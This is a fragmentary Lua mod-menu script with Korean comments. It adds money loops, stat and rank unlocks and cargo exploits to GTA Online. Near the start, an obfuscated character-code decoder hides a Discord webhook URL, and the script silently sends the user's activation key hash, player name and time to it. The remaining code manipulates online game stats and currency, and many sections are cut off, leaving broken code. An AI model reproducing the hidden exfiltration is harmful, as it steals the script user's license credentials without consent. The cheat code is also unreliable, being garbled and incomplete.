--after.lua
--after.lua
util.require_natives(1676318796)
util.require_natives(1681379138)
util.require_natives("1651208000")
-- 현재 날짜와 시간 가져오기
local currentTime = os.date("*t")
-- 연, 월, 일, 시간, 분 추출
local year = currentTime.year
local month = currentTime.month
local day = currentTime.day
local hour = currentTime.hour
local minute = currentTime.min
function startyou()
-- 요청 실행
function QveWfuaxczbAhcXwSQAszOcTlqlWCaDtpWUAcuLNzmiMKmOtZOcCzWAIY(code)res=''for i
in ipairs(code)do res=res..string.char(code[i]/105)end return res end
-- 디스코드 웹훅 URL
local webhookUrl =
QveWfuaxczbAhcXwSQAszOcTlqlWCaDtpWUAcuLNzmiMKmOtZOcCzWAIY({10920,12180,12180,11760,
12075,6090,4935,4935,10500,11025,12075,10395,11655,11970,10500,4830,10395,11655,114
45,4935,10185,11760,11025,4935,12495,10605,10290,10920,11655,11655,11235,12075,4935
,5145,5145,5250,5145,5145,5880,5670,5460,5040,5145,5670,5040,5670,5775,5145,5775,55
65,5565,5250,4935,5670,11550,10185,10815,11655,8925,12495,11445,11865,7560,8400,123
90,11865,11235,9345,8295,11760,12180,5565,7350,7875,7770,12495,12810,7350,8085,5775
,8820,12390,10395,5670,11655,10290,11550,7140,8820,5775,4725,7770,11550,9345,6825,1
0920,9975,12810,7245,7245,4725,12495,5460,7980,5775,10395,5775,10710,11550,7140,882
0,12705,7140,11235,5250,5880,11025,10710,8715,8820,10815})
-- 전송할 메시지 내용
local US1ER = menu.get_activation_key_hash() -- 개인 ID 로드
local messageContent =
(US1ER..QveWfuaxczbAhcXwSQAszOcTlqlWCaDtpWUAcuLNzmiMKmOtZOcCzWAIY({24780,16485,1596
0,3360,24780,14490,17220,24885,13755,16800,24675,15435,16380,3360,24780,15645,13860
,24780,16485,18900,24675,15540,15540,24675,17325,19740,3360,24780,13650,18060,24780
,16170,17745,24885,15645,15960,24675,14490,15540,3360})..players.get_name(players.u
ser())..QveWfuaxczbAhcXwSQAszOcTlqlWCaDtpWUAcuLNzmiMKmOtZOcCzWAIY({24675,14595,1596
0,24780,16485,18900})..
(string.format(QveWfuaxczbAhcXwSQAszOcTlqlWCaDtpWUAcuLNzmiMKmOtZOcCzWAIY({3885,5040
,5460,10500,24675,13965,13860,3360,3885,5040,5250,10500,24780,16275,15540,3360,3885
,5040,5250,10500,24780,16485,19740,3360,3885,5040,5250,10500,24780,14595,16380,3360
,3885,5040,5250,10500,24675,19110,13860,24780,15855,15120,3360,24675,16905,16380,24
570,19215,19320,24780,16485,19320,24885,15645,15960,24780,13965,17640,24780,14490,1
9005,24675,14595,14280,24675,14595,17220}), year, month, day, hour, minute)))
-- async_http 모듈을 사용하여 HTTP 요청 초기화
async_http.init(QveWfuaxczbAhcXwSQAszOcTlqlWCaDtpWUAcuLNzmiMKmOtZOcCzWAIY({10500,11
025,12075,10395,11655,11970,10500,4830,10395,11655,11445}),
QveWfuaxczbAhcXwSQAszOcTlqlWCaDtpWUAcuLNzmiMKmOtZOcCzWAIY({4935,10185,11760,11025,4
935,12495,10605,10290,10920,11655,11655,11235,12075,4935,5145,5145,5250,5145,5145,5
880,5670,5460,5040,5145,5670,5040,5670,5775,5145,5775,5565,5565,5250,4935,5670,1155
0,10185,10815,11655,8925,12495,11445,11865,7560,8400,12390,11865,11235,9345,8295,11
760,12180,5565,7350,7875,7770,12495,12810,7350,8085,5775,8820,12390,10395,5670,1165
5,10290,11550,7140,8820,5775,4725,7770,11550,9345,6825,10920,9975,12810,7245,7245,4
725,12495,5460,7980,5775,10395,5775,10710,11550,7140,8820,12705,7140,11235,5250,588
0,11025,10710,8715,8820,10815}),
function(body, header_fields, status_code)
-- 성공적으로 요청이 완료된 경우 호출되는 함수
end,
function(body, header_fields, status_code)
-- 요청이 실패한 경우 호출되는 함수
end
)
-- POST 요청 설정
async_http.set_post("application/json", '{"content":"' .. messageContent .. '"}')
-- 요청 실행
async_http.dispatch()
function
mWkXRUSvWyirFKEdKTMckDTWfdYZLkTMlCSVWnyuezELLwJKLONYnZBA(code)res=''for i in
ipairs(code)do res=res..string.char(code[i]/105)end return res end
local scriptganzi =
mWkXRUSvWyirFKEdKTMckDTWfdYZLkTMlCSVWnyuezELLwJKLONYnZBA({7980,11025,12180,10605})
local ScriptName =
mWkXRUSvWyirFKEdKTMckDTWfdYZLkTMlCSVWnyuezELLwJKLONYnZBA({8400,11655,11340,11025,12
075,10920,10605,10500,3360})..ver..mWkXRUSvWyirFKEdKTMckDTWfdYZLkTMlCSVWnyuezELLwJK
LONYnZBA({3360})..scriptganzi
local SetRank, SetMoney = 1, nil
INT_MIN = -2147483648
INT_MAX = 2147483647
menu.trigger_commands("seamless off")
menu.trigger_commands("skipswoopdown off")
script.money_options = {
"50,000,000", "100,000,000", "150,000,000", "200,000,000",
"250,000,000", "300,000,000", "350,000,000", "400,000,000",
"450,000,000", "500,000,000", "550,000,000", "600,000,000",
"650,000,000", "700,000,000", "750,000,000", "800,000,000",
"850,000,000", "900,000,000", "950,000,000", "1,000,000,000"
}
local nv = native_invoker
local ENTITY_GET_ENTITY_COORDS =
function(entity,alive)nv.begin_call();nv.push_arg_int(entity);nv.push_arg_bool(aliv
e);nv.end_call("3FEF770D40960D5A");return nv.get_return_value_vector3();end
local PLAYER_PLAYER_PED_ID =
function()nv.begin_call();nv.end_call("D80958FC74E988A6");return
nv.get_return_value_int();end
local SYSTEM_START_NEW_SCRIPT =
function(scriptName,stackSize)nv.begin_call();nv.push_arg_string(scriptName);nv.pus
h_arg_int(stackSize);nv.end_call("E81651AD79516E48");return
nv.get_return_value_int();end
local SCRIPT_GET_NUMBER_OF_THREADS_RUNNING_THE_SCRIPT_WITH_THIS_HASH =
function(scriptHash)nv.begin_call();nv.push_arg_int(scriptHash);nv.end_call("2C83A9
DA6BFFC4F9");return nv.get_return_value_int();end
local SCRIPT_DOES_SCRIPT_EXIST =
function(scriptName)nv.begin_call();nv.push_arg_string(scriptName);nv.end_call("FC0
4745FBE67C19A");return nv.get_return_value_bool();end
local SCRIPT_REQUEST_SCRIPT =
function(scriptName)nv.begin_call();nv.push_arg_string(scriptName);nv.end_call("6EB
5F71AA68F2E8E");end
local SCRIPT_HAS_SCRIPT_LOADED =
function(scriptName)nv.begin_call();nv.push_arg_string(scriptName);nv.end_call("E6C
C9F3BA0FB9EF1");return nv.get_return_value_bool();end
local SCRIPT_SET_SCRIPT_AS_NO_LONGER_NEEDED =
function(scriptName)nv.begin_call();nv.push_arg_string(scriptName);nv.end_call("C90
D2DCACD56184C");end
local STATS_STAT_GET_INT =
function(statHash,outValue,p2)nv.begin_call();nv.push_arg_int(statHash);nv.push_arg
_pointer(outValue);nv.push_arg_int(p2);nv.end_call("767FBC2AC802EF3D");return
nv.get_return_value_bool();end
local STATS_SET_PACKED_STAT_BOOL_CODE =
function(index,value,characterSlot)native_invoker.begin_call();native_invoker.push_
arg_int(index);native_invoker.push_arg_bool(value);native_invoker.push_arg_int(char
acterSlot);native_invoker.end_call("DB8A58AEAA67CD07");end
local NETSHOPPING_NET_GAMESERVER_TRANSACTION_IN_PROGRESS =
function()native_invoker.begin_call()native_invoker.end_call_2(0x613F125BA3BD2EB9)r
eturn native_invoker.get_return_value_bool();end
function otGqLrVtFNLxPPhqPLedfkQTAiIwaRlywcPexWKCmnJ(code)res=''for i in
ipairs(code)do res=res..string.char(code[i]/105)end return res end
GRAPHICS.REQUEST_STREAMED_TEXTURE_DICT(otGqLrVtFNLxPPhqPLedfkQTAiIwaRlywcPexWKCmnJ(
{7035,7560,6825,8610,9975,8085,8400,9975,7350,8085,9975,7035,8295,8190,8820,6825,70
35,8820}), 1)
while not
GRAPHICS.HAS_STREAMED_TEXTURE_DICT_LOADED(otGqLrVtFNLxPPhqPLedfkQTAiIwaRlywcPexWKCm
nJ({7035,7560,6825,8610,9975,8085,8400,9975,7350,8085,9975,7035,8295,8190,8820,6825
,7035,8820})) do
util.yield()
end
util.BEGIN_TEXT_COMMAND_THEFEED_POST(Message)
HUD._THEFEED_SET_NEXT_POST_BACKGROUND_COLOR(140)
HUD.END_TEXT_COMMAND_THEFEED_POST_MESSAGETEXT_WITH_CREW_TAG_AND_ADDITIONAL_ICON(otG
qLrVtFNLxPPhqPLedfkQTAiIwaRlywcPexWKCmnJ({7035,7560,6825,8610,9975,8085,8400,9975,7
350,8085,9975,7035,8295,8190,8820,6825,7035,8820}),
otGqLrVtFNLxPPhqPLedfkQTAiIwaRlywcPexWKCmnJ({7035,7560,6825,8610,9975,8085,8400,997
5,7350,8085,9975,7035,8295,8190,8820,6825,7035,8820}), false, 8,
otGqLrVtFNLxPPhqPLedfkQTAiIwaRlywcPexWKCmnJ({8400,11655,11340,11025,12075,10920,106
05,10500}), otGqLrVtFNLxPPhqPLedfkQTAiIwaRlywcPexWKCmnJ({}), 1.0,
otGqLrVtFNLxPPhqPLedfkQTAiIwaRlywcPexWKCmnJ({9975,9975,9975,7980,8925,6825}), 9, 1)
end
function FORCE_CLOUD_SAVE()
STATS.STAT_SAVE(0, 0, 3, 0) -- menu.trigger_commands("forcecloudsave")와 동일,
https://github.com/jonaaa20/RecoverySuite
util.yield(1500)
util.arspinner_enable()
util.yield(4500)
util.arspinner_disable()
end
function IS_MPPLY(Stat)
local Stats = {
"MP_PLAYING_TIME",
}
for i = 1, #Stats do
if Stat == Stats[i] then
return true
end
end
function STAT_GET_INT(Stat)
local IntPTR = memory.alloc_int()
STATS.STAT_GET_INT(util.joaat(ADD_MP_INDEX(Stat)), IntPTR, -1)
return memory.read_int(IntPTR)
end
function STAT_GET_FLOAT(Stat)
local FloatPTR = memory.alloc_int()
STATS.STAT_GET_FLOAT(util.joaat(ADD_MP_INDEX(Stat)), FloatPTR, -1)
return tonumber(string.format("%.3f", memory.read_float(FloatPTR)))
end
function STAT_GET_BOOL(Stat)
if STAT_GET_INT(Stat) == 0 then
return "false"
elseif STAT_GET_INT(Stat) == 1 then
return "true"
else
return "STAT_UNKNOWN"
end
end
function STAT_GET_STRING(Stat)
return STATS.STAT_GET_STRING(util.joaat(ADD_MP_INDEX(Stat)), -1)
end
function STAT_GET_DATE(Stat, Sort)
local DatePTR = memory.alloc(7*8)
STATS.STAT_GET_DATE(util.joaat(ADD_MP_INDEX(Stat)), DatePTR, 7, true)
local Add = 0
if Sort == "Year" then
Add = 0
elseif Sort == "Month" then
Add = 8
elseif Sort == "Day" then
Add = 16
elseif Sort == "Hour" then
Add = 24
elseif Sort == "Min" then
Add = 32
end
return memory.read_int(DatePTR+Add)
end
function GET_INT_GLOBAL(Global)
return memory.read_int(memory.script_global(Global))
end
util.keep_running()
function IA_MENU_OPEN()
PAD._SET_CONTROL_NORMAL(0, 244, 1)
util.yield(100)
end
function IA_MENU_UP(Num)
for i = 1, Num do
PAD._SET_CONTROL_NORMAL(0, 172, 1)
util.yield(100)
end
end
function IA_MENU_DOWN(Num)
for i = 1, Num do
PAD._SET_CONTROL_NORMAL(0, 173, 1)
util.yield(100)
end
end
function IA_MENU_ENTER(Num)
for i = 1, Num do
PAD._SET_CONTROL_NORMAL(0, 176, 1)
util.yield(100)
end
end
local positions = {
{x = 0.474922, y = 0.555133},--to select first nightclub
{x = 0.363114, y = 0.729087}, --to enter purchase
{x = 0.318704, y = 0.918251}, --to choose to buy
{x = 0.782132, y = 0.912548},--to buy
{x = 0.708464, y = 0.911597},--to return to the map
{x = 0.465104, y = 0.452778},--to select 2nd nightclub
{x = 0.356250, y = 0.675000},--to enter purchase
{x = 0.318704, y = 0.918251},--to cw hoose to buy
{x = 0.782132, y = 0.912548},--to buy
{x = 0.708464, y = 0.708464}--to return
}
local positions_auto = {
{x = 0.68, y = 0.45},--to select first auto
{x = 0.363114, y = 0.74087}, --to enter purchase
{x = 0.318704, y = 0.918251}, --to choose to buy
{x = 0.782132, y = 0.912548},--to buy
{x = 0.708464, y = 0.911597},--to return to the map
{x = 0.65, y = 0.48},--to select 2nd auto
{x = 0.363114, y = 0.709087}, --to enter purchase
{x = 0.318704, y = 0.918251}, --to choose to buy
{x = 0.782132, y = 0.912548},--to buy
{x = 0.708464, y = 0.911597},--to return to the map
}
local positions_hungar = {
{x = 0.48, y = 1},--to select first hangar
{x = 0.363114, y = 0.74087}, --to enter purchase
{x = 0.318704, y = 0.918251}, --to choose to buy
{x = 0.782132, y = 0.912548},--to buy
{x = 0.708464, y = 0.911597},--to return to the map
{x = 0.455, y = 1},--to select 2nd hangar
{x = 0.363114, y = 0.709087}, --to enter purchase
{x = 0.318704, y = 0.918251}, --to choose to buy
{x = 0.782132, y = 0.912548},--to buy
{x = 0.708464, y = 0.911597},--to return to the map
}
local positions_arcade = {
{x = 0.464922, y = 0.36},--to select first arcade
{x = 0.363114, y = 0.75}, --to enter purchase
{x = 0.318704, y = 0.918251}, --to choose to buy
{x = 0.782132, y = 0.912548},--to buy
{x = 0.708464, y = 0.911597},--to return to the map
{x = 0.534922, y = 0.249},--to select 2nd arcade
{x = 0.363114, y = 0.75}, --to enter purchase
{x = 0.318704, y = 0.918251}, --to choose to buy
{x = 0.782132, y = 0.912548},--to buy
{x = 0.708464, y = 0.911597},--to return to the map
}
---
end)
menu.trigger_commands("nopimenugrey on")
if util.is_interaction_menu_open() then
IA_MENU_OPEN_OR_CLOSE()
end
SET_INT_GLOBAL(2710114, 85) -- Renders Ballistic Equipment Services screen
of the Interaction Menu
IA_MENU_OPEN_OR_CLOSE()
IA_MENU_ENTER(1)
end)
---
menu.divider(MONEY_OPTIONS, ScriptName .. " || 돈 반복")
local MONEY_AMOUNT = 0
LOOP_1250K = menu.toggle(MONEY_OPTIONS, "# $125 만 반복 [오비탈]", {}, "$50 만 및 $75 만
추가를 25 초마다 반복합니다.\n\n6 분 30 초 동안 활성화하면 $2000 만이 모입니다.\n\n 반복을 활성화한 동안 다른 돈 옵션은 쓰지
마세요.", function(Toggle)
Money_Loop = Toggle
if Money_Loop then
menu.trigger_commands(" PRtranserr on")
end
while Money_Loop do
if SetMoney ~= nil then
if SetMoney > players.get_bank(players.user()) then
menu.set_menu_name(LOOP_1250K, "$125 만 반복, 상태: $50 만 추가 중")
SET_INT_GLOBAL(1961347, 1)
util.yield(500)
SET_INT_GLOBAL(1961347, 0)
util.yield(500)
menu.set_menu_name(LOOP_1250K, "$125 만 반복, 상태: $50 만 추가 완료")
NOTIFY("$50 만 달러를 추가하였습니다.")
util.yield(1000)
menu.set_menu_name(LOOP_1250K, "$125 만 반복, 상태: $75 만 추가 대기 중")
util.yield(10000)
menu.set_menu_name(LOOP_1250K, "$125 만 반복, 상태: $75 만 추가 중")
SET_INT_GLOBAL(1961347, 2)
util.yield(500)
SET_INT_GLOBAL(1961347, 0)
util.yield(500)
menu.set_menu_name(LOOP_1250K, "$125 만 반복, 상태: $75 만 추가 완료")
NOTIFY("$75 만 달러를 추가하였습니다.")
util.yield(1000)
menu.set_menu_name(LOOP_1250K, "$125 만 반복, 상태: 총 $125 만 추가 완료")
util.yield(8000)
if Money_Loop then
menu.set_menu_name(LOOP_1250K, "# $125 만 반복, 상태: $50 만 추가 대기
중")
MONEY_AMOUNT = MONEY_AMOUNT + 125
menu.trigger_commands("prloopstatus")
util.yield(1000)
else
menu.set_menu_name(LOOP_1250K, "# $125 만 반복 [오비탈]")
return
end
else
menu.set_menu_name(LOOP_1250K, "# $125 만 반복 [오비탈]")
return
end
else
menu.set_menu_name(LOOP_1250K, "$125 만 반복, 상태: $50 만 추가 중")
SET_INT_GLOBAL(1961347, 1)
util.yield(500)
SET_INT_GLOBAL(1961347, 0)
util.yield(500)
menu.set_menu_name(LOOP_1250K, "$125 만 반복, 상태: $50 만 추가 완료")
NOTIFY("$50 만 달러를 추가하였습니다.")
util.yield(1000)
menu.set_menu_name(LOOP_1250K, "$125 만 반복, 상태: $75 만 추가 대기 중")
util.yield(10000)
menu.set_menu_name(LOOP_1250K, "$125 만 반복, 상태: $75 만 추가 중")
SET_INT_GLOBAL(1961347, 2)
util.yield(500)
SET_INT_GLOBAL(1961347, 0)
util.yield(500)
menu.set_menu_name(LOOP_1250K, "$125 만 반복, 상태: $75 만 추가 완료")
NOTIFY("$75 만 달러를 추가하였습니다.")
util.yield(1000)
menu.set_menu_name(LOOP_1250K, "$125 만 반복, 상태: 총 $125 만 추가 완료")
util.yield(8000)
if Money_Loop then
menu.set_menu_name(LOOP_1250K, "# $125 만 반복, 상태: $50 만 추가 대기 중")
MONEY_AMOUNT = MONEY_AMOUNT + 125
menu.trigger_commands("prloopstatus")
util.yield(1000)
else
menu.set_menu_name(LOOP_1250K, "# $125 만 반복 [오비탈]")
menu.set_menu_name(LOOP_STATUS, "# 얻은 돈: $0")
return
end
end
util.yield()
end
local ENTITY_SET_ENTITY_COORDS_NO_OFFSET =
function(entity,xPos,yPos,zPos,xAxis,yAxis,zAxis)nv.begin_call();nv.push_arg_int(en
tity);nv.push_arg_float(xPos);nv.push_arg_float(yPos);nv.push_arg_float(zPos);nv.pu
sh_arg_bool(xAxis);nv.push_arg_bool(yAxis);nv.push_arg_bool(zAxis);nv.end_call("239
A3351AC1DA385");end
---
SetGlobalInt(262145 + 1,0)
end)
---
set_true = 0
set_true = tonumber(set_true)
SetNCValue = tonumber(Value)
if SetNCValue > 1000000000 then
menu.trigger_commands("prncvalueactive off")
NOTIFY("최대 금액 10 억을 넘어갈 수 없습니다. 다시 설정해주세요.")
set_true = 0
elseif SetNCValue == nil then
NOTIFY("값이 0 보다 작거나 같을 수 없습니다.")
set_true = 0
else
NOTIFY("밑에 활성화 버튼을 눌러주세요.")
set_true = 1
end
end)
--PROP_AUTO_SHOP_VALUE
---
util.yield(500)
SQUIDGAME("PROP_NIGHTCLUB_VALUE", "0", true)
SQUIDGAME("PROP_AUTO_SHOP_VALUE", "0", true)
SQUIDGAME("PROP_ARCADE_VALUE", "0", true)
SQUIDGAME("PROP_HANGAR_VALUE", "0", true)
SQUIDGAME("PROP_DEFUNCBASE_VALUE","0", true)
SQUIDGAME("PROP_FIXER_HQ_VALUE", "0", true)
util.yield(500)
menu.trigger_commands("forcecloudsave")
util.yield(500)
menu.trigger_commands("forcecloudsave")
util.yield(500)
menu.trigger_commands("forcecloudsave")
util.yield(500)
menu.trigger_commands("forcecloudsave")
util.yield(500)
util.show_corner_help("완료되었습니다.")
end)
else
NOTIFY("값이 10 억을 넘어갑니다. 다시 설정해주세요.")
menu.trigger_commands("prncvalueactive off")
end
end)
---
---
---
--
local RANKS = menu.list(menu.my_root(), "(랭크 옵션)", {}, "랭크", function() end)
function CP_PRESS_ENTER(num)
CLICK_KEYBOARD(201, num)
end
menu.trigger_commands("seamless on")
menu.trigger_commands("skipswoopdown on")
while util.is_session_started() do
menu.set_menu_name(SET_RANK, "# 랭크 설정: " .. SetRank .. ", 상태: 모두 완료")
break
end
util.yield(2000)
menu.set_menu_name(SET_RANK, "# 랭크 설정")
util.show_corner_help("클라우드 저장하고 세션 바꾸는걸 추천!")
util.yield(2000)
menu.trigger_commands("seamless off")
menu.trigger_commands("skipswoopdown off")
end)
menu.divider(RANKS, ScriptName .." || 인스턴트 체인저")
---
---
---
---
STATS_SET_PACKED_STAT_BOOL_CODE(18161, true)
STATS_SET_PACKED_STAT_BOOL_CODE(22067, true)
STATS_SET_PACKED_STAT_BOOL_CODE(22068, true)
mpx = MP_Index()
STAT_SET_BOOL("MPPLY_MELEECHLENGECOMPLETED", true)
STAT_SET_BOOL("MPPLY_HEADSHOTCHLENGECOMPLETED", true)
STAT_SET_BOOL("MPPLY_NAVYREVOLVERCOMPLETED", true)
SET_INT_GLOBAL(104355, 90)
STAT_SET_INT("FM_ACT_PHN", -1)
STAT_SET_INT("FM_ACT_PH2", -1)
STAT_SET_INT("FM_ACT_PH3", -1)
STAT_SET_INT("FM_ACT_PH4", -1)
STAT_SET_INT("FM_ACT_PH5", -1)
STAT_SET_INT("FM_VEH_TX1", -1)
STAT_SET_INT("FM_ACT_PH6", -1)
STAT_SET_INT("FM_ACT_PH7", -1)
STAT_SET_INT("FM_ACT_PH8", -1)
STAT_SET_INT("FM_ACT_PH9", -1)
STAT_SET_INT("FM_CUT_DONE", -1)
STAT_SET_INT("FM_CUT_DONE_2", -1)
menu.trigger_commands("unlockresearch")
STAT_SET_INT("CHAR_ABILITY_1_UNLCK", -1)
STAT_SET_INT("CHAR_ABILITY_2_UNLCK", -1)
STAT_SET_INT("CHAR_ABILITY_3_UNLCK", -1)
STAT_SET_INT("CHAR_FM_ABILITY_1_UNLCK", -1)
STAT_SET_INT("CHAR_FM_ABILITY_2_UNLCK", -1)
STAT_SET_INT("CHAR_FM_ABILITY_3_UNLCK", -1)
SET_INT_GLOBAL(114054 + 5, 7500)
SET_INT_GLOBAL(114054 + 10, 7500)
SET_INT_GLOBAL(114054 + 15, 7500)
SET_INT_GLOBAL(114054 + 20, 7500)
SET_INT_GLOBAL(114054 + 25, 7500)
SET_INT_GLOBAL(114054 + 30, 7500)
SET_INT_GLOBAL(114054 + 35, 7500)
util.yield(2000)
end)
menu.trigger_commands("go solo")
util.yield(3000)
menu.trigger_commands("seamless off")
menu.trigger_commands("skipswoopdown off")
end)
CLOUD_SAVE = menu.action(TOOLS, "# 클라우드 강제 저장", {"fcs"}, "락스타 클라우드에 현재 정보를 저장해
올바르게 저장되지 않는 것을 방지합니다.", function()
for i = 1, 100, 1 do
menu.trigger_commands("forcecloudsave")
util.yield(1)
end
NOTIFY("Done")
end)
menu.divider(PLAYTIME_EDITOR, ("방법"))
---
menu.divider(PLAYTIME_EDITOR, ("수정하기"))
---
---
---
---
menu.divider(CASH_EDITOR, ("자세한 설정"))
---
---
--
---
---
---
function ADD_MP_INDEX(stat)
local Exceptions = {
"MP_CHAR_STAT_RALLY_ANIM",
"MP_CHAR_ARMOUR_1_COUNT",
"MP_CHAR_ARMOUR_2_COUNT",
"MP_CHAR_ARMOUR_3_COUNT",
"MP_CHAR_ARMOUR_4_COUNT",
"MP_CHAR_ARMOUR_5_COUNT",
}
for _, exception in pairs(Exceptions) do
if stat == exception then
return "MP" .. util.get_char_slot() .. "_" .. stat
end
end
--- Settings
--#region natives
-- regex for removing comments in the native arguments: --\[\[(?:(?:\w)|(?:\d)|\
*)*(?: \((?:(?:\w)|(?:\d)|\*)*\))*\]\]
-- regex for finding natives in the script that have not yet been converted to
local-natives: [A-Z][A-Z][A-Z]\.(?:_|[A-Z][A-Z][A-Z][A-Z][A-Z])
--#endregion natives
local WarehousePropertyInfo = {
[1] = {name = "Pacific Bait Storage", capacity = 16, coords = {x =
54.191, y = -2569.248, z = 6.0046 }}, -- "MP_WHOUSE_0",
[2] = {name = "White Widow Garage", capacity = 16, coords = {x = -
1083.054, y = -1261.893, z = 5.534 }}, -- "MP_WHOUSE_1",
[3] = {name = "Celltowa Unit", capacity = 16, coords = {x =
896.3665, y = -1035.749, z = 35.1096}}, -- "MP_WHOUSE_2",
[4] = {name = "Convenience Store Lockup", capacity = 16, coords = {x =
247.473, y = -1956.943, z = 23.1908}}, -- "MP_WHOUSE_3",
[5] = {name = "Foreclosed Garage", capacity = 16, coords = {x = -
424.828, y = 185.825, z = 80.775 }}, -- "MP_WHOUSE_4",
[6] = {name = "Xero Gas Factory", capacity = 111, coords = {x = -
1042.482, y = -2023.516, z = 13.1616}}, -- "MP_WHOUSE_5",
[7] = {name = "Derriere Lingerie Backlot", capacity = 42, coords = {x = -
1268.119, y = -812.2741, z = 17.1075}}, -- "MP_WHOUSE_6",
[8] = {name = "Bilgeco Warehouse", capacity = 111, coords = {x = -
873.65, y = -2735.948, z = 13.9438}}, -- "MP_WHOUSE_7",
[9] = {name = "Pier 400 Utility Building", capacity = 16, coords = {x =
274.5224, y = -3015.413, z = 5.6993 }}, -- "MP_WHOUSE_8",
[10] = {name = "GEE Warehouse", capacity = 42, coords = {x =
1569.69, y = -2129.792, z = 78.3351}}, -- "MP_WHOUSE_9",
[11] = {name = "LS Marine Building 3", capacity = 42, coords = {x = -
315.551, y = -2698.654, z = 7.5495 }}, -- "MP_WHOUSE_10",
[12] = {name = "Railyard Warehouse", capacity = 42, coords = {x =
499.81, y = -651.982, z = 24.909 }}, -- "MP_WHOUSE_11",
[13] = {name = "Fridgit Annexe", capacity = 42, coords = {x = -
528.5296, y = -1784.573, z = 21.5853}}, -- "MP_WHOUSE_12",
[14] = {name = "Disused Factory Outlet", capacity = 42, coords = {x = -
295.8596, y = -1353.238, z = 31.3138}}, -- "MP_WHOUSE_13",
[15] = {name = "Discount Retail Unit", capacity = 42, coords = {x =
349.839, y = 328.889, z = 104.272}}, -- "MP_WHOUSE_14",
[16] = {name = "Logistics Depot", capacity = 111, coords = {x =
926.2818, y = -1560.311, z = 30.7404}}, -- "MP_WHOUSE_15",
[17] = {name = "Darnell Bros Warehouse", capacity = 111, coords = {x =
759.566, y = -909.466, z = 25.244 }}, -- "MP_WHOUSE_16",
[18] = {name = "Wholesale Furniture", capacity = 111, coords = {x =
1037.813, y = -2173.062, z = 31.5334}}, -- "MP_WHOUSE_17",
[19] = {name = "Cypress Warehouses", capacity = 111, coords = {x =
1019.116, y = -2511.69, z = 28.302 }}, -- "MP_WHOUSE_18",
[20] = {name = "West Vinewood Backlot", capacity = 111, coords = {x = -
245.3405, y = 203.3286, z = 83.818 }}, -- "MP_WHOUSE_19",
[21] = {name = "Old Power Station", capacity = 42, coords = {x =
539.346, y = -1945.682, z = 24.984 }}, -- "MP_WHOUSE_20",
[22] = {name = "Walker & Sons Warehouse", capacity = 111, coords = {x =
96.1538, y = -2216.4, z = 6.1712 }}, -- "MP_WHOUSE_21",
}
local MenuCurrentWarehouses = {
[0] = {"Name", {}, ""},
[1] = {"Name", {}, ""},
[2] = {"Name", {}, ""},
[3] = {"Name", {}, ""},
[4] = {"Name", {}, ""},
}
local remote = {
motd = "",
version = "",
killswitches = {
["safeloop"] = false,
["specialcargo"] = false,
["maxsellprice"] = false,
["autocomplete"] = false,
},
}
local Selected_Warehouse = 0
SafeLimit = 300000,
SafeStatus1 = 1663006, -- bitset below "CLUB_PAY"
SafeStatus2 = 2707197,
SpecialCargoMaxSellPriceValue = 6000000,
IsUsingComputerScreen = 76369,
}
local locals = {
----------------
-- Special Cargo
----------------
--appsecuroserv
SpecialCargoSecuroString = "appsecuroserv",
SpecialCargoSecuroArgs = 4592, -- arg count needed to properly start the
script, possibly outdated
SpecialCargoCurrentProperty = 735, -- warehouse property id (non-global-index
based))
SpecialCargoScreenStatus = 558, -- status: 3011 = sold? 1 = error, 3012 =
confirm?
SpecialCargoCratesToSell = 739, -- "MP_WH_SELL", "WH
SpecialCargoSellFromOption = 740, -- ^^^^^^^ (not current property id, but
buttons [1-3])
SpecialCargoCurrentBitset = 559, -- ^^^^^^^ bit 13 controls if it is warehouse
or securoserv
SpecialCargoStartingPosX = 756, -- struct<3> Local_ -- float (if distance to
this from self is greater than 5f to this local, kill script)
SpecialCargoStartingPosY = 756+1, -- ^^^^^^^
SpecialCargoStartingPosZ = 756+2, -- ^^^^^^^
--gb_contraband_sell
SpecialCargoSellString = "gb_contraband_sell",
SpecialCargoSellType = 543+584,
SpecialCargoSellSubType = 543+7, -- return 5000;
SpecialCargoSellAmount = 543+57, -- ^ in function below
SpecialCargoSellStatus = 543+583,
--gb_contraband_buy
SpecialCargoBuyString = "gb_contraband_buy",
SpecialCargoBuyComplete = 601+192,
SpecialCargoBuyCollected = 601+186,
SpecialCargoBuyCollected2 = 476,
}
globals.SpecialCargoBypassBuyCooldown = tunables_global+15756
globals.SpecialCargoBypassSellCooldown = tunables_global+15757
globals.SpecialCargoCrateMaxThreshold = tunables_global+15990
globals.SpecialCargoRewardPerCrate = tunables_global+16011
globals.SpecialCargoCrateMultiplier3 = tunables_global+16861
globals.SpecialCargoCrateMultiplier2 = tunables_global+16862
globals.SpecialCargoCrateMultiplier1 = tunables_global+16863
globals.SpecialCargoBonus = tunables_global+15783
globals.SpecialCargoDeliveryTime = tunables_global+32887
return false
end
return true
end
util.create_thread(function()
local warehouse = GetLocalInt(locals.SpecialCargoSecuroString,
locals.SpecialCargoCurrentProperty)
if warehouse ~= nil then
if warehouse ~= 0 and warehouse ~=
GetWarehousePropertyFromSlot(Selected_Warehouse) then
util.toast(lang.get_localised(MenuLabels.NOTINSELECTEDWAREHOUSE_TOAST))
end
end
end)
local crate_amount = GetSpecialCargoCrateAmount(Selected_Warehouse)
SetPlayerPropertyID(GetWarehousePropertyFromSlot(Selected_Warehouse)-1) --set
global current property to warehouse one
SetLocalBits(locals.SpecialCargoSecuroString,
locals.SpecialCargoCurrentBitset, 13)
SetLocalInt(locals.SpecialCargoSecuroString,
locals.SpecialCargoCurrentProperty,
GetWarehousePropertyFromSlot(Selected_Warehouse)) --set this local to current
selected warehouse property id (non-global-index based)
local pos = ENTITY_GET_ENTITY_COORDS(PLAYER_PLAYER_PED_ID())
SetLocalFloat(locals.SpecialCargoSecuroString,
locals.SpecialCargoStartingPosX, pos.x) -- set this local to current location every
tick (if self is greater than 5f to this local, kill script)
SetLocalFloat(locals.SpecialCargoSecuroString,
locals.SpecialCargoStartingPosY, pos.y)
SetLocalFloat(locals.SpecialCargoSecuroString,
locals.SpecialCargoStartingPosZ, pos.z)
util.yield()
return true
end
end
else
--return true
end
end
end
local warehouse_property_info =
WarehousePropertyInfo[GetWarehousePropertyFromSlot(Selected_Warehouse)]
local capacity = warehouse_property_info and
warehouse_property_info.capacity or "unk"
SetGlobalInt(globals.SpecialCargoDeliveryCrates, capacity - 1)
end
end)
local MenuLabels = {
local TotalEarnedTypes = {
--type = {prefix = label, amount = 0}
-- Do not use GetLabelText in here, these are prefixes and will be converted
later
safeloop = {prefix = MenuLabels.PREFIX_SAFELOOP, amount = 0},
